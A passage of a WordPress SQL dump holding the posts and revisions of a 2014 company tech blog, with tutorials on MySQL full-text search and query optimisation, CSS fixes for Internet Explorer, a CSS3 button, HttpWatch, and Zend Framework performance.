to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include nonword characters in the phrase. As of MySQL 5.0.3, nonword characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before.\r\n\r\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty.\r\n\r\nThe following examples demonstrate some search strings that use boolean full-text operators:\r\n<ul>\r\n	<li>\'apple banana\'</li>\r\n</ul>\r\nFind rows that contain at least one of the two words.\r\n<ul>\r\n	<li>\'+apple +juice\'</li>\r\n</ul>\r\nFind rows that contain both words.\r\n<ul>\r\n	<li>\'+apple macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”.\r\n<ul>\r\n	<li>\'+apple -macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple” but not “macintosh”.\r\n<ul>\r\n	<li>\'+apple ~macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all.\r\n<ul>\r\n	<li>\'+apple +(&gt;turnover &lt;strudel)\'</li>\r\n</ul>\r\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”.\r\n<ul>\r\n	<li>\'apple*\'</li>\r\n</ul>\r\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”.\r\n<ul>\r\n	<li>\'\"some words\"\'</li>\r\n</ul>\r\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the “\"” characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotation marks that enclose the search string itself.','Boolean Full-Text Searches','','publish','open','open','','boolean-full-text-searches','','','2014-07-21 09:57:50','2014-07-21 09:57:50','',0,'http://localhost/yalavarthitechnologies/blog/?p=124',0,'post','',0),(125,1,'2014-07-21 09:56:21','2014-07-21 09:56:21','<strong>Summary:</strong>\n\n<b>Try this pasting in your HTML editor and see the result.</b>\n\n&lt;!DOCTYPE HTML&gt;\n\n&nbsp;\n\n&lt;html&gt;\n\n&nbsp;\n\n&lt;head&gt;\n\n&nbsp;\n\n&lt;title&gt;Untitled Document&lt;/title&gt;\n\n&nbsp;\n\n&lt;style type=\"text/css\"&gt;\n\n&nbsp;\n\n.button {\n\n&nbsp;\n\ndisplay: inline-block;\n\n&nbsp;\n\noutline: none;\n\n&nbsp;\n\ncursor: pointer;\n\n&nbsp;\n\ntext-align: center;\n\n&nbsp;\n\ntext-decoration: none;\n\n&nbsp;\n\nfont: 14px/100% Arial, Helvetica, sans-serif;\n\n&nbsp;\n\npadding: .5em 2em .55em;\n\n&nbsp;\n\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\n\n&nbsp;\n\n-webkit-border-radius: .5em;\n\n&nbsp;\n\n-moz-border-radius: .5em;\n\n&nbsp;\n\nborder-radius: .5em;\n\n&nbsp;\n\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.button:hover {\n\n&nbsp;\n\ntext-decoration: none;\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.button:active {\n\n&nbsp;\n\nposition: relative;\n\n&nbsp;\n\ntop: 1px;\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange {\n\n&nbsp;\n\ncolor: #fef4e9;\n\n&nbsp;\n\nborder: solid 1px #da7c0c;\n\n&nbsp;\n\nbackground: #f78d1d;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange:hover {\n\n&nbsp;\n\nbackground: #f47c20;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange:active {\n\n&nbsp;\n\ncolor: #fcd3a5;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), to(#faa51a));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\n\n&nbsp;\n\n}\n&lt;/style&gt;\n\n&nbsp;\n\n&lt;/head&gt;\n\n&nbsp;\n\n&lt;body&gt;\n\n&nbsp;\n\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\n\n&nbsp;\n\n&lt;input type=\"button\" class=\"button orange\" name=\"Collabor\" value=\"collabor\"/&gt;\n\n&nbsp;\n\n&lt;/body&gt;\n\n&nbsp;\n\n&lt;/html&gt;','CSS3 Gradient Button Without Images','','inherit','open','open','','122-autosave-v1','','','2014-07-21 09:56:21','2014-07-21 09:56:21','',122,'http://localhost/yalavarthitechnologies/blog/?p=125',0,'revision','',0),(126,1,'2014-07-21 09:57:50','2014-07-21 09:57:50','<strong>Summary:</strong>\r\n\r\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier. With this modifier, certain characters have special meaning at the beginning or end of words in the search string. In the following query, the + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, the query retrieves all the rows that contain the word “test” but that do <i>not</i> contain the word “event”:\r\n\r\n<b>SELECT * FROM events WHERE MATCH (event_title)</b> <b>AGAINST (\'+Test -Event\' IN BOOLEAN MODE);</b>\r\n\r\n<b> </b>\r\n\r\nNote:\r\n\r\nIn implementing this feature, MySQL uses what is sometimes referred to as <i>implied Boolean logic</i>, in which\r\n<ul>\r\n	<li>+ stands for AND</li>\r\n	<li>- stands for NOT</li>\r\n	<li>[<i>no operator</i>] implies OR</li>\r\n</ul>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBoolean full-text searches have these characteristics:\r\n<ul>\r\n	<li>They do not use the 50% threshold.</li>\r\n	<li>They do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first.</li>\r\n	<li>They can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.</li>\r\n	<li>The minimum and maximum word length full-text parameters apply.</li>\r\n	<li>The stopword list applies.</li>\r\n</ul>\r\nThe boolean full-text search capability supports the following operators:\r\n<ul>\r\n	<li>+</li>\r\n</ul>\r\nA leading plus sign indicates that this word <i>must</i> be present in each row that is returned.\r\n<ul>\r\n	<li>-</li>\r\n</ul>\r\nA leading minus sign indicates that this word must <i>not</i> be present in any of the rows that are returned.\r\n\r\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.”\r\n<ul>\r\n	<li>(no operator)</li>\r\n</ul>\r\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html#function_match\">MATCH() ... AGAINST()</a> without the IN BOOLEAN MODE modifier.\r\n<ul>\r\n	<li>&gt; &lt;</li>\r\n</ul>\r\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The &gt; operator increases the contribution and the &lt; operator decreases it. See the example following this list.\r\n<ul>\r\n	<li>( )</li>\r\n</ul>\r\nParentheses group words into subexpressions. Parenthesized groups can be nested.\r\n<ul>\r\n	<li>~</li>\r\n</ul>\r\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator.\r\n<ul>\r\n	<li>*</li>\r\n</ul>\r\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be <i>appended</i> to the word to be affected. Words match if they begin with the word preceding the * operator.\r\n\r\nIf a word is specified with the truncation operator, it is not stripped from a boolean query, even if it is too short (as determined from the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len</a> setting) or a stopword. This occurs because the word is not seen as too short or a stopword, but as a prefix that must be present in the document in the form of a word that begins with the prefix. Suppose that <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len=4</a>. ft_min_word_len=4. Then a search for \'+<i>word</i> +the*\' will likely return fewer rows than a search for \'+<i>word</i> +the\':\r\n\r\no        The former query remains as is and requires both <i>word</i> and the* (a word starting with the) to be present in the document.\r\n\r\no        The latter query is transformed to +<i>word</i> (requiring only <i>word</i> to be present). the is both too short and a stopword, and either condition is enough to cause it to be ignored.\r\n<ul>\r\n	<li>\"</li>\r\n</ul>\r\nA phrase that is enclosed within double quote (“\"”) characters matches only rows that contain the phrase <i>literally, as it was typed</i>. The full-text engine splits the phrase into words and performs a search in the FULLTEXT index for the words. Prior to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include nonword characters in the phrase. As of MySQL 5.0.3, nonword characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before.\r\n\r\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty.\r\n\r\nThe following examples demonstrate some search strings that use boolean full-text operators:\r\n<ul>\r\n	<li>\'apple banana\'</li>\r\n</ul>\r\nFind rows that contain at least one of the two words.\r\n<ul>\r\n	<li>\'+apple +juice\'</li>\r\n</ul>\r\nFind rows that contain both words.\r\n<ul>\r\n	<li>\'+apple macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”.\r\n<ul>\r\n	<li>\'+apple -macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple” but not “macintosh”.\r\n<ul>\r\n	<li>\'+apple ~macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all.\r\n<ul>\r\n	<li>\'+apple +(&gt;turnover &lt;strudel)\'</li>\r\n</ul>\r\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”.\r\n<ul>\r\n	<li>\'apple*\'</li>\r\n</ul>\r\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”.\r\n<ul>\r\n	<li>\'\"some words\"\'</li>\r\n</ul>\r\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the “\"” characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotation marks that enclose the search string itself.','Boolean Full-Text Searches','','inherit','open','open','','124-revision-v1','','','2014-07-21 09:57:50','2014-07-21 09:57:50','',124,'http://localhost/yalavarthitechnologies/blog/?p=126',0,'revision','',0),(127,1,'2014-07-21 10:00:58','2014-07-21 10:00:58','HttpWatch integrates with Internet Explorer and Firefox browsers to show you exactly what HTTP traffic is triggered when you access a web page. If you access a site that uses secure HTTPS connections, HttpWatch automatically displays the decrypted form of the network traffic.\r\n\r\nReference Site : <a href=\"http://www.httpwatch.com/features.htm\" target=\"_blank\">http://www.httpwatch.com/features.htm</a>','Check your website loads and performance with HttpWatch','','publish','open','open','','check-your-website-loads-and-performance-with-httpwatch','','','2014-07-21 10:00:58','2014-07-21 10:00:58','',0,'http://localhost/yalavarthitechnologies/blog/?p=127',0,'post','',0),(128,1,'2014-07-21 10:00:58','2014-07-21 10:00:58','HttpWatch integrates with Internet Explorer and Firefox browsers to show you exactly what HTTP traffic is triggered when you access a web page. If you access a site that uses secure HTTPS connections, HttpWatch automatically displays the decrypted form of the network traffic.\r\n\r\nReference Site : <a href=\"http://www.httpwatch.com/features.htm\" target=\"_blank\">http://www.httpwatch.com/features.htm</a>','Check your website loads and performance with HttpWatch','','inherit','open','open','','127-revision-v1','','','2014-07-21 10:00:58','2014-07-21 10:00:58','',127,'http://localhost/yalavarthitechnologies/blog/?p=128',0,'revision','',0),(129,1,'2014-07-21 10:04:33','2014-07-21 10:04:33','<strong>Summary:</strong>\r\n\r\nI think we\'ve all experienced how frustrating it can be to do cross-browser testing with CSS-based web sites. Why is it that Internet Explorer (IE) never seems to play nicely with good, solid CSS markup?!? Anyway, I just thought I\'d share one technique that I\'ve found to be extremely helpful. When I have some CSS that just won\'t work in IE, I see if adding a ZOOM property of 1 (one) will help.\r\n\r\ndiv {\r\n\r\nzoom:1;\r\n\r\n}\r\n\r\nI have to say, 90% of the time, this fixes the display issues that I am having in IE... and, it does so without adversely affecting any of the other browsers (that I have tested). I guess you could call this an IE-hack since I believe the zoom property is only supported by Internet Explorer.\r\n\r\nI am not exactly sure why this works, but it has something to do with what you are trying to accomplish and the concept of an element having a \"layout\". In IE, some elements have a \"hasLayout\" property that is true by default. This is required for many visual settings; for example, an alpha filter only works on an element that hasLayout. So, why does {Zoom:1} work? It gives the target elements the hasLayout property.\r\n\r\nThere\'s a bunch of other things you can do to fix rendering issues in IE, but I have found {zoom:1} to be the lowest hanging fruit.\r\n\r\nReference Site : <a href=\"http://www.satzansatz.de/cssd/onhavinglayout.html\" target=\"_blank\">http://www.satzansatz.de/cssd/onhavinglayout.html</a>','The Power Of ZOOM - Fixing CSS Issues In Internet Explorer','','publish','open','open','','the-power-of-zoom-fixing-css-issues-in-internet-explorer','','','2014-07-21 10:04:33','2014-07-21 10:04:33','',0,'http://localhost/yalavarthitechnologies/blog/?p=129',0,'post','',0),(131,1,'2014-07-21 10:04:33','2014-07-21 10:04:33','<strong>Summary:</strong>\r\n\r\nI think we\'ve all experienced how frustrating it can be to do cross-browser testing with CSS-based web sites. Why is it that Internet Explorer (IE) never seems to play nicely with good, solid CSS markup?!? Anyway, I just thought I\'d share one technique that I\'ve found to be extremely helpful. When I have some CSS that just won\'t work in IE, I see if adding a ZOOM property of 1 (one) will help.\r\n\r\ndiv {\r\n\r\nzoom:1;\r\n\r\n}\r\n\r\nI have to say, 90% of the time, this fixes the display issues that I am having in IE... and, it does so without adversely affecting any of the other browsers (that I have tested). I guess you could call this an IE-hack since I believe the zoom property is only supported by Internet Explorer.\r\n\r\nI am not exactly sure why this works, but it has something to do with what you are trying to accomplish and the concept of an element having a \"layout\". In IE, some elements have a \"hasLayout\" property that is true by default. This is required for many visual settings; for example, an alpha filter only works on an element that hasLayout. So, why does {Zoom:1} work? It gives the target elements the hasLayout property.\r\n\r\nThere\'s a bunch of other things you can do to fix rendering issues in IE, but I have found {zoom:1} to be the lowest hanging fruit.\r\n\r\nReference Site : <a href=\"http://www.satzansatz.de/cssd/onhavinglayout.html\" target=\"_blank\">http://www.satzansatz.de/cssd/onhavinglayout.html</a>','The Power Of ZOOM - Fixing CSS Issues In Internet Explorer','','inherit','open','open','','129-revision-v1','','','2014-07-21 10:04:33','2014-07-21 10:04:33','',129,'http://localhost/yalavarthitechnologies/blog/?p=131',0,'revision','',0),(132,1,'2014-07-21 10:08:39','2014-07-21 10:08:39','<strong>Summary:</strong>\r\n\r\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\r\nThese are things we need to remember while writing the queries .\r\n\r\n·         Removal of unnecessary parentheses:\r\n\r\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\r\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\r\n<ul>\r\n	<li>  Constant folding:</li>\r\n</ul>\r\n(a&lt;b AND b=c) AND a=5\r\n-&gt; b&gt;5 AND b=c AND a=5\r\n<ul>\r\n	<li> Constant condition removal (needed because of constant folding):</li>\r\n</ul>\r\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\r\n-&gt; B=5 OR B=6\r\n<ul>\r\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\r\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\r\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\r\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\r\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\r\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\r\n</ul>\r\no    An empty table or a table with one row.\r\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\r\nAll of the following tables are used as constant tables:\r\nSELECT * FROM t WHERE primary_key=1;\r\nSELECT * FROM t1,t2\r\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\r\n<ul>\r\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\r\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\r\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\r\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\r\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\r\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\r\n</ul>','Mysql query optimizations in where clause','','publish','open','open','','mysql-query-optimizations-in-where-clause','','','2014-07-21 10:08:39','2014-07-21 10:08:39','',0,'http://localhost/yalavarthitechnologies/blog/?p=132',0,'post','',0),(133,1,'2014-07-21 10:08:39','2014-07-21 10:08:39','<strong>Summary:</strong>\r\n\r\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\r\nThese are things we need to remember while writing the queries .\r\n\r\n·         Removal of unnecessary parentheses:\r\n\r\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\r\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\r\n<ul>\r\n	<li>  Constant folding:</li>\r\n</ul>\r\n(a&lt;b AND b=c) AND a=5\r\n-&gt; b&gt;5 AND b=c AND a=5\r\n<ul>\r\n	<li> Constant condition removal (needed because of constant folding):</li>\r\n</ul>\r\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\r\n-&gt; B=5 OR B=6\r\n<ul>\r\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\r\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\r\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\r\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\r\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\r\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\r\n</ul>\r\no    An empty table or a table with one row.\r\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\r\nAll of the following tables are used as constant tables:\r\nSELECT * FROM t WHERE primary_key=1;\r\nSELECT * FROM t1,t2\r\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\r\n<ul>\r\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\r\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\r\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\r\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\r\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\r\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\r\n</ul>','Mysql query optimizations in where clause','','inherit','open','open','','132-revision-v1','','','2014-07-21 10:08:39','2014-07-21 10:08:39','',132,'http://localhost/yalavarthitechnologies/blog/?p=133',0,'revision','',0),(134,1,'2014-07-21 10:11:24','2014-07-21 10:11:24','<strong>Summary:</strong>\r\n\r\n<strong>Optimize Mysql Database Table:</strong>\r\n\r\nThe Following Command will show the present status of the Database Table\r\n<pre>show table status like \'mytablename\';</pre>\r\n<pre></pre>\r\n<pre>The following command will optimize the Database Table</pre>\r\n<pre></pre>\r\n<pre>optimize table mytablename;</pre>\r\n<pre></pre>\r\n<pre><strong>Optimize Database in MySQL automatically with PHP  </strong></pre>\r\n<pre></pre>\r\n<pre>The Following Script Will Optimize the entire database.</pre>\r\n<pre>We don\'t have the direct command to optimize the entire database.<strong> </strong></pre>\r\n<pre></pre>\r\n<pre></pre>\r\n<pre>$res = mysql_query(\'SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400\');</pre>\r\n<pre>while($row = mysql_fetch_assoc($res)) {</pre>\r\n<pre>  mysql_query(\'OPTIMIZE TABLE \' . $row[\'Name\']);</pre>\r\n<pre>}</pre>\r\n<pre><strong>    Step1:   </strong>SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400</pre>\r\n<pre>             In this step we will get the tables</pre>\r\n<strong>    Step2:</strong>   It will optimize the each and every table individually','Optimize tables and database in MySQL automatically with PHP','','publish','open','open','','optimize-tables-and-database-in-mysql-automatically-with-php','','','2014-07-21 10:11:24','2014-07-21 10:11:24','',0,'http://localhost/yalavarthitechnologies/blog/?p=134',0,'post','',0),(135,1,'2014-07-21 10:09:55','2014-07-21 10:09:55','<strong>Summary:</strong>\n\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\nThese are things we need to remember while writing the queries .\n\n·         Removal of unnecessary parentheses:\n\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\n<ul>\n	<li>  Constant folding:</li>\n</ul>\n(a&lt;b AND b=c) AND a=5\n-&gt; b&gt;5 AND b=c AND a=5\n<ul>\n	<li> Constant condition removal (needed because of constant folding):</li>\n</ul>\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\n-&gt; B=5 OR B=6\n<ul>\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\n</ul>\no    An empty table or a table with one row.\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\nAll of the following tables are used as constant tables:\nSELECT * FROM t WHERE primary_key=1;\nSELECT * FROM t1,t2\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\n<ul>\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\n</ul>','Mysql query optimizations in where clause','','inherit','open','open','','132-autosave-v1','','','2014-07-21 10:09:55','2014-07-21 10:09:55','',132,'http://localhost/yalavarthitechnologies/blog/?p=135',0,'revision','',0),(136,1,'2014-07-21 10:11:24','2014-07-21 10:11:24','<strong>Summary:</strong>\r\n\r\n<strong>Optimize Mysql Database Table:</strong>\r\n\r\nThe Following Command will show the present status of the Database Table\r\n<pre>show table status like \'mytablename\';</pre>\r\n<pre></pre>\r\n<pre>The following command will optimize the Database Table</pre>\r\n<pre></pre>\r\n<pre>optimize table mytablename;</pre>\r\n<pre></pre>\r\n<pre><strong>Optimize Database in MySQL automatically with PHP  </strong></pre>\r\n<pre></pre>\r\n<pre>The Following Script Will Optimize the entire database.</pre>\r\n<pre>We don\'t have the direct command to optimize the entire database.<strong> </strong></pre>\r\n<pre></pre>\r\n<pre></pre>\r\n<pre>$res = mysql_query(\'SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400\');</pre>\r\n<pre>while($row = mysql_fetch_assoc($res)) {</pre>\r\n<pre>  mysql_query(\'OPTIMIZE TABLE \' . $row[\'Name\']);</pre>\r\n<pre>}</pre>\r\n<pre><strong>    Step1:   </strong>SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400</pre>\r\n<pre>             In this step we will get the tables</pre>\r\n<strong>    Step2:</strong>   It will optimize the each and every table individually','Optimize tables and database in MySQL automatically with PHP','','inherit','open','open','','134-revision-v1','','','2014-07-21 10:11:24','2014-07-21 10:11:24','',134,'http://localhost/yalavarthitechnologies/blog/?p=136',0,'revision','',0),(137,1,'2014-07-21 10:14:18','2014-07-21 10:14:18','<strong>Summary:</strong>\r\n\r\n<b> Zend Framework Performance Optimization</b>\r\n\r\n<b> </b>\r\n\r\n<b>What is Application Performance</b>\r\n\r\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\r\n\r\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\r\n\r\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\r\n\r\n&nbsp;\r\n\r\n<b>Why Zend Framework</b>\r\n\r\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\r\n\r\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\r\n\r\n&nbsp;\r\n\r\n<b>Zend Framework performance optimization</b>\r\n\r\nThe following are the few ways to optimize your Zend Framework.\r\n\r\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));\r\n\r\n$paths = array(\r\n\r\nAPPLICATION_PATH . \'/../library\'),\r\n\r\n\'.\',\r\n\r\n);\r\n\r\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';\r\n\r\nZend_Loader_Autoloader::getInstance();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">% cd 